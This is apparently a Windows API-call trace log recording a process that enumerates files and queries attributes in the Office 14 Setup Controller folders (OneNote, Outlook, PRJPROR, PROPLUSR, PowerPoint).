	[0050.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1
	[0050.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.522] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.522] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0050.522] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.522] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.522] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.522] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646)) returned 1
	[0050.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1
	[0050.523] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.524] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.524] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1
	[0050.524] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.524] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.524] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72)) returned 1
	[0050.524] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f)) returned 1
	[0050.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1
	[0050.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.526] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.526] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fdf48 | out: lpFileInformation=0x123fdf48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915)) returned 1
	[0050.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b)) returned 1
	[0050.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x1274e008 | out: lpFileInformation=0x1274e008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.532] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0050.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.532] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.532] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e0f8 | out: lpFileInformation=0x1274e0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4)) returned 1
	[0050.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1274e148 | out: lpFileInformation=0x1274e148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976)) returned 1
	[0050.533] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1274e198 | out: lpFileInformation=0x1274e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1
	[0050.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0050.534] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.535] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
